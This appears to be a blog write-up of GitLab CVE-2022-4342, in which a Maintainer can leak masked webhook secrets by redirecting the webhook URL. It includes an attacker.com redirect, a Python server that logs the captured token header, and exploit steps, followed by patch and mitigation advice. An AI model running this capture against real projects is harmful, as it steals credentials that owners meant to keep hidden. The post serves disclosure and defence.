GitLab is at the core of many developers' daily workflow, helping teams to collaborate through code hosting, CI/CD pipelines, and integrations. But in late 2022, a serious security flaw (CVE-2022-4342) came to light: attackers with Maintainer permissions could leak secrets intended to stay secret. Here, we break down how this happens, why it's important, and how you can stay safe.

What is CVE-2022-4342?

CVE-2022-4342 is a security issue in GitLab Community Edition (CE) and Enterprise Edition (EE). The flaw allows a project Maintainer to leak masked secrets set for webhooks just by changing the webhook’s target URL.

GitLab Webhooks 101

Webhooks send system events (like code push or merge requests) to external URLs, often with sensitive info (tokens, secrets, API keys) included in custom headers.

Masked (Protected) Secrets

When setting up webhooks, you can mask or hide secrets so only the system (not users) can see them. They're used, for example, as Authorization headers.

The Core Problem

A Maintainer can change the webhook's target URL to a server they control. When an event fires, GitLab includes the secret in the outgoing request. By inspecting requests to their server, the attacker gets the secret—even though it's supposed to stay hidden.

Attack scenario:

Maintainer changes webhook URL to http://attacker.com/webhook.

Step-by-Step Exploit Example

Here’s how an attacker with Maintainer privileges could steal a secret.

Set up a simple HTTP server to capture secrets.

# attacker_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class WebhookHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        secret = self.headers.get('X-Gitlab-Token')  # or other header
        print(f"Leaked Secret: {secret}")
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print(f"Payload: {post_data.decode()}")
        self.send_response(200)
        self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(('...', 808), WebhookHandler)
    print("Listening on port 808...")
    server.serve_forever()

As a Maintainer, go to your repo's Settings > Webhooks, and update

URL: http://your-server.com:808

The masked webhook secret will be included in requests sent to your server.

3. Trigger the Webhook

Push code, merge, etc. — anything that causes the webhook to fire.

4. Profit

Captured secret (usually masked in the UI!) appears in your server logs.

Vendor Response & Patch

The GitLab team assigned CVE-2022-4342 and quickly shipped patches. Upgrading to:

15.7.2

(or any higher version) fully addresses the bug.

> GitLab Release Note:  
> _A malicious Maintainer could leak masked webhook secrets by changing the target URL of a webhook. This is fixed in the patched versions above._

Official GitLab Advisory:  
https://about.gitlab.com/releases/2022/12/14/security-release-gitlab-15-7-2-released/

Restrict Maintainer Permissions: Only give trusted users Maintainer access.

- Monitor Webhook URLs: Regularly check for changes pointing to unknown/unsafe servers.

Conclusion

Mistakes like this highlight that “masked” secrets only conceal information at the user interface layer. Once a secret gets included in a request, a determined attacker—especially one with high permissions—can find a way to get it unless you trust them completely.

Upgrade now if you're affected.  
Be aware: Not every insider is a friend.

More References

- GitLab Official Advisory
- CVE Record at NVD
- HackerOne Disclosure Report

Timeline

Published on: 01/12/2023 04:15:00 UTC
Last modified on: 01/18/2023 20:34:00 UTC